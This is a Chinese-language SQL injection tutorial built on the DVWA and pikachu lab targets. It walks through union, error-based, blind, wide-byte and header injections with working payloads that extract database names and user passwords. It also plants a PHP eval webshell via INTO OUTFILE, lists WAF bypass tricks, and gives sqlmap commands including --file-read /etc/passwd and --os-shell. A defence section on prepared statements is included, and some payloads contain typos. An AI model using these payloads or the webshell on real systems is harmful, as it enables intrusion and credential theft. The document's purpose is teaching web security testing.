一、漏洞简介及原理
结构化查询语言(Structured Query Language,缩写SQL),是一种特殊的编程语言,用于数据库种的标准数据查询语言。
SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句结尾添加额外的SQL语句,在系统运维人员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询操作,从而进一步得到相应的数据信息
select XXX from tables where id = 20240309 or 1 = 1;
//返回所有的学号信息
简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未作任何校验或者校验不严格,直接信任了用户输入,使得恶意输入改变原本的SQL逻辑或者执行了额外的SQL查询语句,从而造成了SQL注入攻击
SQL注入漏洞的实现需要满足两个条件:
1. 参数用户可控:前端传入后端的参数内容是用户可以控制的;
2. 参数带入数据库进行查询s
二、漏洞危害
危险较高的漏洞,可以获取敏感信息,修改信息,脱库,上传webshell(从数据库里获取信息,甚至对数据库系统进行操作),执行命令。
获取数据、破坏网站可用性、反动
三、SQL注入分类
根据查询字段:数字型、字符型
根据查询方式:union注入、堆叠注入
根据回显:报错、盲注
程序未对输入做处理时
输入1 and 1=1
数字型:select xx from xx where user_id = 1 and 1=1,能出结果
字符型:select xx from xx where user_id ='1 and 1=1',查不出结果
输入1 and 1=2
数字型:select xx from xx where user_id = 1 and 1=2,查不出来
字符型:select xx from xx where user_id ='1 and 1=2',查不出结果
程序对输入内容两侧加单引号时
数字型:select xx from xx where user_id ='1 and 1=2',存在隐式转换,能查到
字符型:select xx from xx where user_id ='1 and 1=2',查不出结果
Mysql隐式转换:
如果某个字段的类型是int类型,当该参数赋值时,给了它一个string类型,就会去识别string中的第一个字符,如果第一个字符是数字,则转换成int类型,如果第一个字符不是数字,则转换失败,不会继续向后识别。
数字型:select * from tables where key1 = 1;
字符型:select * from tables where key2 = '1';
以下三条语句查询结果一致
select * from users where user_id = 1 ;
select * from users where user_id = '1';
select * from users where user_id = '1asdfasdf';
select user_id,first_name,last_name from users where user_id = '';
是什么样的注入类型取决于输入的user_id的类型,user_id为int()类型,故为数字型,int类型会存在隐式转换,字符型不会存在隐式转换。
3.1 数字型
当输入的参数为整型时,若存在注入漏洞,称为数字型注入
测试步骤
1.加单引号:http://10.0.0.156:8082/vulnerabilities/sqli/?id=1'
select user_id,first_name,last_name from users where user_id = '1 ; 可能会引起报错,大概率存在注入,加单引号sql语句未闭合,sql中会报错,前端不一定会报错
2.加and 1=1, select user_id,first_name,last_name from users where user_id = 1 and 1=1;
3.加and 1=2, select user_id,first_name,last_name from users where user_id = 1 and 1=2;
满足以上三点,且用户对输入没有做任何额外处理,则可以判断存在数字型注入,但dvwa中有额外处理,导致不符合第三点。
sql端查询不到,但 前端查询不到,发现网站源码中存在以下语句,前端输入1 and 1=2后,后端实际为select user_id,first_name,last_name from users where user_id = '1 and 1=2';
3.2 字符型
当输入的参数为字符串时,若存在注入漏洞,称之为字符型注入。数字型不需要单引号来闭合,字符型需要通过单引号来闭合。
1' or 1=1 # # 为注释阶段,后面字符都失效
1‘ and '1=1
sql端
select user_id,first_name,last_name from users where user_id = ’1‘ or 1=1 #‘;
‘1’为真,1=1为真,输出全部结果
select user_id,first_name,last_name from users where user_id = ’1 or 1=1 #‘;
1 or 1=1# 被转换成字符串,隐式转换,输出user_id为1的结果
select user_id,first_name,last_name from users where user_id = '1' and '1=1';
3.3 union注入(联合查询注入)
一条sql语句中执行多个查询任务,使用union或union all连接。
多个查询任务存再重复的值时,使用union all显示重复字段,union不显示重复的值。
select user,first_name,last_name from users order by 1;
order by 根据字母顺序排序,通过order by可以判断有几列
显示位:一是有没有,二是够不够
没有直接显示提交后的结果则没有显示位
如果查询4列,前端只有2列,或只显示2列,则显示位不足
1' union select 1,2 #
存在两个显示位,查询两列,显示报错则显示位不足
MySQL5.0以上存在一个information_schema数据库
三个重要表
SCHEMATA:表里包含所有数据库的而名字
TABLES:表里包含所有数据库的所有表,默认字段为table_name
COLUMNS:表里包含所有数据库的所有表的字段
三个重要列
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
逻辑顺序
mysql数据库管理系统-->数据库-->数据表-->字段-->具体数据
确定显示位后,爆出数据库名和版本信息
SELECT first_name,last_name FROM users WHERE user_id = 1 union select database(),version();
1' union select database(),version() #
从数据库中注入得到数据表名
select table_name from information_schema.tables where table_schema = datebase();
查询information_schema下的tables表中满足条件的表,条件table_schema为database()即为当前数据库。
group_concat 将同一列的多行字符串连接成为一行字符串
通过group_concat函数解决显示位不足的问题
SELECT first_name,last_name FROM users WHERE user_id = 1 union all select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' ;
1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa '#
通过注入得到字段
select first_name,last_name from users where user_id = 1 union all select 1,group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' ;
1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
通过注入获取数据
通过注入出的字段名,获取需要的数据
select first_name,last_name from users where user_id =1 union all select user,password from where users;
1' union all select user,password from where users #
将通过加密的数据进行解密
撞库(md5解密原理)
将密文拿到数据库进行对比来解密,如果数据库里没有数据,会失败
3.4 报错注入
利用数据库报错来判断是否存在注入点,不符合数据库语法规则会报错
常用特殊字符:' \ ; %00 ) ( # "
报错注入常用函数
extractvalue()
- 从目标XML中返回包含所查询值得字符串
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象得名称。
第二个参数:xpath_string(xpath格式得字符串),为XML文档得路径。 - extractvalue使用时若xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax error)
select user,password from users where user_id = 1 and extractvalue(1,0x7e);
select user,password from users where user_id = 1 and extractvalue(1,concat(0x7e,select user()),0x7e));
0x7e为16进制的~,~不属于xpath语法格式,因此报出xpath语法错误。
concat合并列,但不合并行
group_concat 将同一列的多行字符串连接成为一行字符串
// 爆库名
1' and extractvalue(1,concat(0x7e,database()));#'
select first_name,last_name from users where user_id = 1 ane extractvalue(1,concat(0x7e,database()));
// 爆数据库表数
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database())));#'
select first_name,last_name from users where user_id = 1 and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = database())));
// 爆表名
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)));#'
select first_name,last_name from users where user_id = 1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 1,1)));
// 爆列数
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_name = 'users' ))); #'
select first_name,last_name from users where user_id =1 and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_name = 'users' )));
// 爆列名
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where column_schema = database() limit 0,1)));#'
select first_name,last_name from users where user_id =1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where column_name = 'user' limit 0,1)));
// 爆用户名和密码
1' and extractvalue(1,concat(0x7e,(select user from users where user_id='1' limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select password from users where user_id='1' limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select password from users where user_id='1' limit 0,1)));# //查询密码长度
未加count函数,直接查询表明,报错提示请求返回结果超过一行
使用count函数后
count计数函数
limit函数
select * from table limit m,n其中m是指记录开始,从0开始,表示第一条记录,n是指从m+1条开始,取n条。
substr(m,n,x)从m字段的第n位开始取x个,可以只用(m,n),n为负数时,从后往前输出
爆密码时,如果不能完全显示,可以借助substr函数获取完整的加密密码
updatexm()
updatexm(string,路径,string格式)
爆库名
1' and updatexml(0x7e,concat(database()),0x7e);#
爆列数(使用count函数)
1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1); #
获取列名(使用limit函数)
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e),1); #
获取用户名和密码
1' and updatexml(1,concat(0x7e,(select user from users where user_id=1 limit 0,1),0x7e),1); #
1' and updatexml(1,concat(0x7e,(select password from users where user_id=1 limit 0,1),0x7e),1); #
3.5 盲注
3.5.1 布尔盲注
只会根据注入信息返回ture或false,没有查询信息或报错信息。
1. 判断是否存在注入,注入的类型
无论输入什么,只会出现以下两种情况
两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
构造User ID取值的语句 | 输出结果 | |
---|---|---|
① | 1 | exists |
② | ' | MISSING |
③ | 1 and 1=1 # | exists |
④ | 1 and 1=2 # | exists |
⑤ | 1' and 1=1 # | esists |
⑥ | 1' and 1=2 # | MISSING |
3、4隐式转换,输出exists,6可能是存在注入,也可能是1=2判定为假输出MISSING
如果不存在注入时,输入1' and 1=1 #
作为一个值进行查询,返回MISSING
2. 猜解当前数据库名称
使用数据库语句的结果与数据库内容比较,判断语句使用()作为一个整体与某一数值进行对比。
1) 判断数据库名称的长度(二分法思维)
1' and length(database())>10;# MISSING
1' and length(database())>5;# MISSING
1' and length(database())>3;# exists
1' and length(database())=4;# exists
根据返回结果判断数据库名的长度
2) 判断数据库名称的字符组成元素
1' and ascii(substr(database(),1,1))=100;# exist
1' and ascii(substr(database(),2,1))=118;# exist
1' and ascii(substr(database(),3,1))=119;# exist
1' and ascii(substr(database(),4,1))=97;# exist
通过substr函数查询数据库名的ascii编码,根据ascii对照表得到数据库名"dvwa"。
ASCII对照表 – Love & Freedom
ASCII与字符转换—LZL在线工具 (lzltool.cn)
3. 猜数据库中的表名
1) 猜表的个数
用count函数对table_name进行计数,已爆出dvwa,table_schema参数可以用'dvwa'。
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2;#
后端查询时,将查询语句使用()作为整体使用select查询
2) 猜解表名
先猜表名的长度
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>8;# MISSING
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9;# exists
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5;#
再猜表名
1' and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)=117;# ascii=117对应u
1' and (select ascii(substr(table_name,2,1)) from information_schema.tables where table_schema=database() limit 1,1)=115;# ascii=115对应s
1' and (select ascii(substr(table_name,3,1)) from information_schema.tables where table_schema=database() limit 1,1)=101;# ascii=117对应e
1' and (select ascii(substr(table_name,4,1)) from information_schema.tables where table_schema=database() limit 1,1)=114;# ascii=117对应r
1' and (select ascii(substr(table_name,5,1)) from information_schema.tables where table_schema=database() limit 1,1)=115;# ascii=117对应s
数据库dvwa的表2名为users。
3) 猜字段名
猜字段个数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5;#
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8;#
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>9;#
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8;#
猜字段名
猜数据库中可能保留的字段
用户名:user/username/user_name/name/...
密码:password/pass_word/pwd/pass/...
=1返回exists 则说明该字段存在
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name ='password')=1;# exists
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name ='username')=1;# MISSING
4) 获取字段值
- 用户名的字段长度
1' and (select length(user) from users limit 0,1)>5;# MISSING
1' and (select length(user) from users limit 0,1)>4;# exists
1' and (select length(user) from users limit 0,1)=5;# esists
- 密码的字段长度
1' and (select ascii(substr((password),1,1)) from users limit 0,1)>1;#
3.5.2 时间盲注
界面返回值只有true一种,无论输入任何值,返回情况都按照正常来处理。加入特定的时间函数,通过返回的时间差来判断注入的语句是否正确
猜解当前连接数据库的名称
1' and if(length(database())=4,sleep(5),1);#
1' and length(database())=4 and sleep(5);#
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1);#
如果数据名长度错误,延迟几秒响应,如果长度正确,执行sleep(),直接响应
sleep()函数 将程序挂起一段时间
时间盲注类似布尔盲注
3.6 堆叠查询注入
将多条sql语句通过分号";"拼接一起使用,这种时候使用增删改查毫无限制。
使用条件
可能受API、数据库引擎、权限等限制,只有当调用数据库函数支持多条sql语句时才能使用,利用mysqli_multi_query()函数支持多条sql语句同时执行。
3.7 二次注入
存入数据库时做了过滤,但取出时未做过滤,而产生的数据库注入
- 第一次向数据库插入数据时,仅使用addslashes函数对其中特殊字符进行转义,但会在过滤后添加"\"进行转义,但是"\"不会插入到数据库中,在写入数据库的时还是保留了原来的数据
- 将数据库存入数据库后,认为数据是可信的,在下次需要进行查询时,直接从数据库提取有问题的数据,没有进一步的检验和处理,造成sql的二次注入。
3.8 宽字节注入
实验靶场:pikachu
概念
1. 单字节字符集:所有字符都使用一个字节表示,比如ASCII编码(0-127)。
2. 多字节字符集:在多字节字符集中,一部分字符用多个字节来表示,另一部分用单个字节来表示。例:a:窄字节字符 汉字:宽字节
3. 宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
注入原理
开发人员对传入的参数进行特殊的函数处理(转义,对输入的敏感内容、特殊字符进行转义),过滤非法提交的参数,导致SQL注入无法成功。
addslashes()函数
1、addslashes()函数在预定义字符之前添加反斜杠\进行转义。
2、预定义字符:单引号('),双引号("),反斜杠(\),NULL
kobe%df' or 1=1 # %会被转义成%25要在burpsuite中修改
kobe%df\' or 1=1 # \'经过url编码得到%5c%27
kobe%df%5c%27 or 1=1 # GBK编码将将两个字符作为一个汉字 %df%5c=運
使转义符失效,使单引号逃逸
GBK 编码范围, GBK 编码表 (qqxiuzi.cn)
输入框输入kobe%df' or 1=1 # 抓包
在burp suite中修改%25
利用%df逃逸转义字符,构造sql语句进行查询
kobe%df' union all select database(),table_name from information_schema.tables where table_schema=database()#
3.9 http header和cookie注入
后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些资料,比如useragent,accept登,会获取http header信息并使用sql进行处理。没有足够的处理可能会导致基于http header的sql注入漏洞。
出现报错信息,利用报错注入,获取需要的信息
' or updatexml(1,concat(0x7e,database()),0) or '
cookie字段也存在同样的注入漏洞
四、从MySQL注入到GetShell
mysql支持向外写文件(内是指服务器内部),需要用到mysql select into outfile命令。外是相对mysql而言的外。,
在mysql数据库中存在mysql select into outfile命令,将被选择的一行代码写入一个文件中,文件被创建到服务器上。
select into outfile使用前提是:
1. 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等一些方式知道;
2. 对目录要有写权限,一般image之类的存放图片的目录有写权限;
3. 要有mysql file权限(即能否对系统的文件读取和写操作),默认情况下只有root权限有;
4. 写的文件名一定是网站中不存在的文件
使用into outfile写入一句话木马,文件名问shell2.php
'union select 1, "<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php
在DVWA low等级的SQL Injection中输入,可以通过hackbar中的post data进行操作,但只能输入php命令。
可以通过system()命令执行系统命令
通过蚁剑连接shell2.php
在文件中发现数据库用户名密码
通过蚁剑对数据进行操作
五、SQL注入绕过
5.1 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i大小写不敏感即无法绕过,最简单的绕过技术:
z.com/index.php?page_id=-15 uNIoN sELect 1,2,3,4
5.2 替换关键字
大小写转化无法绕过,正则表达式会替换或删除select、union关键字,只匹配一次就很容易绕过
z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
将基础的字段构造的很复杂SelSeselectleCTecT
5.3 使用编码
1、URL编码
在浏览器输入一个链接,浏览器会对非保留字符进行url编码,如空格变为%20、单引号%27、左括号%28、右括号%29,
可以用两次编码绕过
1'id=1/**/UNION/**/SELECT
1%25%27id=1%252f%252a*/UNION%252f%252a%252a/SELECT
2、十六进制编码
mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));
3、Unicode编码
形式:“u”或者“%u”加上4位16进制Unicode码值。
假如对select关键字进行了过滤
可以对其中几个字母进行unicode编码:se%u006cect
5.4 使用注释
常用注释符:
-- ,/**/,#,-- -;
1、普通注释
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
2、内联注释
不是注释的注释
相对普通注释,内联注释用的更多,/!/只有MySQL能识别
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
mysql> select user_id from users where user_id=1 /*!union*/ /*!all*/ /*!select*/ 2;
mysql> select user_id from users where user_id=1 /*!union*/ /*!all*/ /*!select*/ 1;
mysql> select user_id from users where user_id=1 /*!union*/ /*all*/ /*!select*/ 1;
5.5 等价函数与命令
1、函数或变量
bin() 二进制
hex() 16进制
bin()、hex() ==> ascii()
sleep()==>benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式可以评估出mysql执行这个expr表达式的效率
concat_ws()==>group_concat()
concat_ws('分隔符','字段1','字段2'...)多个列的字段合并
group_concat('字段1','字段2'...)
mid()、substr()==>substring()
mid()函数用于得到一个字符串的一部分。
SELECT MID(ColumnName, Start, Length)
举例1:mysql> select mid(first_name,1,1) from users;
举例2:substring()和substr()无法使用时:
1 and ascii(lower(mid((select last_name from users limit 1,1),1,1)))=98;
strcmp(str1, str2)比较两个字符串,如果这两个字符串相等返回0;如果第二个字符小于第一个字符就返回1,反之返回-1。
strcmp(left('password',1), 0x69) = 1 left(string,int)从string中取int个值输出
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
group_concat()、concat_ws()、concat()
left()函数
2、符号
and和or可能不能使用,可以尝试&&和||
=不能使用时,可以尝试<、>,
空格,可以使用:%20 %09 %0a %0b %0c %0d %a0 /**/
5.6 特殊符号
1.使用反引号`,例如select first_name from`users`;可以用来过空格和正则,特殊情况下还可以用作注释符。
2."-+",select+user_id-1+1.from users; "+"用于字符串连接的,"-" "."也用于连接,可以逃过空格和关键字过滤。
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量。
4.Mysql function() as xxx也可不用as和空格 select-count(id)test from users; //绕过空格限制
部分可能发挥作用的字符:
`、~、!、@、%、()、[]、.、-、+ 、|、%00
有关联操作符:
>>, <<, >=, <=, <>, <=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
六、SQL注入防御
6.1 预编译和绑定变量
String sql = "select id, num from user where id=?";//定义SQL语句
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1,id); //设置变量
ps.executeQuery(); //执行
采用了PreparedStatement,就会将sql语句:"select id, num from user where id=?" 预先编译好,也就是说SQL引擎会预先进行语法分析、产生语法树、生成执行计划,此后用户输入的参数,无论输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成,语义已经确定了。而语法分析主要是分析sql命令,比如 select,from,where,and,or,order by 等等。所以即使后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行,必须先得通过语法分析,生成执行计划。既然语法分析已经完成,已经预编译过了,那么后面输入的内容只会被当做字符串字面值参数来执行,是绝对不可能作为sql命令来执行的。所以sql语句预编译可以防御SQL注入。
提前编译完,无论输入什么都只是以字符串执行,不再执行关键字,不存在注入点
6.2 严格检查参数的数据类型,使用安全函数
并非所有场景都能采用sql语句预编译,有些产经必须使用拼接
类似此场景下需要字段语义,做了预编译只能时字符串,无法正常执行查询,所以只能拼接。
String sql = "select id,no from user where id=" + id;
在接收到用户输入的参数时,我们就严格检查 id,只能是 int 型。复杂情况可以使用正则表达式来判断,这样也是可以防止SQL注入的。
安全函数的使用,比如
MySQLCodec codec = new MySQLCodec(Mode.STANDARD);
name = ESAPI.encoder().encodeForSQL(codec,name);
String sql = "select id,no from user where name=" + name;
该函数会将 name 中包含的一些特殊字符进行编码,这样 sql 引擎就不会将 name 中的字符串当成 sql命令来进行语法分析了
七、SQLmap使用
7.1 SQLmap简介
检测和利用SQL注入漏洞以及接入该数据库的服务器。具有多种特性的渗透测试器,通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:
MySQL、Oracle、PostgreSQL、Mircosoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase, SAP MaxDB ...
SQLmap支持五种不同的注入模式:
1. 基于布尔的盲注
2. 基于事件的盲注
3. 基于报错的盲注
4. 联合查询注入
5. 堆查询注入
7.2 安装sqlmap
windows下创建sqlmap快捷方式
@echo off
start cmd /k "cd /d D:\python\sqlmap &&sqlmap.py"
创建txt文件输入以上命令,然后修改文件后缀为bat文件。路径以实际路径为准,双击打开sqlmap
7.3 参数详解及使用
1.Target:目标
-u URL, --url=URL 目标URL(e.g."http....")
--cookie
-d DIRECT 直接连接数据库的连接字符串
-l LOGFILE 从burp或者webscarab代理日志中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c CONFIGFILE 从配置ini文件中加载选项
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后面加上:443
控制台输入document.cookie获取cookie值
目标URL
参数:-u或--url
格式:http://10.0.0.156:8082/vulnerabilities/sqli/?id=1&Submit=Submit#
例如:sqlmap.py -u "http://10.0.0.156:8082/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=me4gpa7vies4mrk5jta216ed6p; security=low"
从文本中获取多个目标扫描
参数: -m
文件中保存url格式如下,sqlmap会一个一个检测
www.url1.com/vuln1.php?q=student
www.url2.com/vuln2.asp?id=1
www.url3.com/vuln3/id/1*
从文件中加载http请求
参数:-r
从文本中获取http请求,跳过一些其他参数,例如通过burpsuite获取的数据包,将信息保存到txt文件中
sqlmap.py -r x.txt
2.Request:请求设置
--method:指定请求方法
--data:把数据以POST方式提交
--param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
--cookie:设置cookie,提交请求的时候附带所设置的cookie
--load-cookies:从文件获取cookie
--user-agent:可以使用–user-anget参数来修改
--headers:可以通过–headers参数来增加额外的http头
--proxy:设置代理,可以避免本机地址被封禁
--delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip
--random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
--referer:在请求目标的时候可以自己伪造请求包中的referer
--level:参数设定为3或者3以上的时候会尝试对referer注入
--data
python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f --
banner --dbs --users
利用正则过滤目标网址
--scope
python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)"
避免过多的错误请求被屏蔽
参数:--safe-url,--safe-frep
有的Web应用程序会在用户多次发送访问错误的请求时屏蔽掉之后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致后续无法进行测试。
绕过这个策略有两种方式:
--safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下。
--safe-freq:提供一个安全不错误的链接,每次测试请求之后都会再访问一遍安全链接。
3.Optimization:优化
-o 开启所有优化开关
4.Injection:注入
-p:设置想要的参数
--skip:不想要测试的参数可以通过skip设置跳过
--dbms:指定数据库,节省sqlmap的检测时间
--os:指定数据库服务系统,节省sqlmap的检测时间
--tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过waf和ips
--invalid-bignum:指定大数字来使值无效
--invalid-logical:指定逻辑运算来使值无效
5.Detection:探测等级
--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk:(此参数有风险),共有四个风险等级(0-3),默认是1会测试大部分语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
探测等级
--level
共有五个等级,默认为1,最大为5,sqlmap使用的payload可以在xml/payloads.xml中看到,用户也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值
风险等级
参数:--risk
共有三个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 (如果存在delete会误删数据库信息)
在有些时候,例如在UPDATE/DELETE的语句中,注入一个OR的测试语句,可能导致更新整个表,造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,用户也可以自行添加payload。
6.Enumeration:枚举数据
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA(数据库管理员)
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数
--dump 转储数据库表项,即下载
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
7.File system access:访问文件系统
--file-read=RFILE 从后端的数据库管理系统读取文件
--file-write=WFILE 上传文件到后端的数据库管理系统
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
--file-read
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir; security=low" -p id --file-read "/etc/passwd"
--file-write
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir; security=low" -p id --file-write="/opt/test_code/user.txt" --file-dest="/var/www/html/user.txt"
8.Operating system access:访问操作系统
--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework 本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
--crawl 爬取网站URL
--csv-del 规定输出到CSV中的分隔符
--fresh-queries 忽略在会话文件中存储的查询结果
--output-dir 自定义输出的路径
--dump-format 定义dump数据的格式
7.4 注入dvwa演示
7.4.1 sqlmap扫描dvwa
1.dvwa登录后输入任意值,bp抓包,获取请求数据包,并将获取到的信息复制到txt文件中。
2.sqlmap使用-r参数通过txt中的目标进行扫描
sqlmap.py -r D:\Desktop\1.txt --batch
7.4.2 sqlmap注入
1.注库名
sqlmap.py -r D:\Desktop\1.txt --batch --dbs
2.注表名,指定dvwa数据库
sqlmap.py -r D:\Desktop\1.txt --batch --tables -D dvwa
3.注列名,可以使用-T指定表
sqlmap.py -r D:\Desktop\1.txt --batch --columns -D dvwa -T users
4.注参数,利用--dump下载-C指定的内容
sqlmap.py -r D:\Desktop\1.txt --batch --dump -D dvwa -T users -C user,password
查 库: select schema_name from information_schema.schema
查 表: select table_name from information_schema.tables where table_schema=库名
查 列: select column_name from information_schema.columns where table_name=表名
查数据: select 列名 from 库名.表名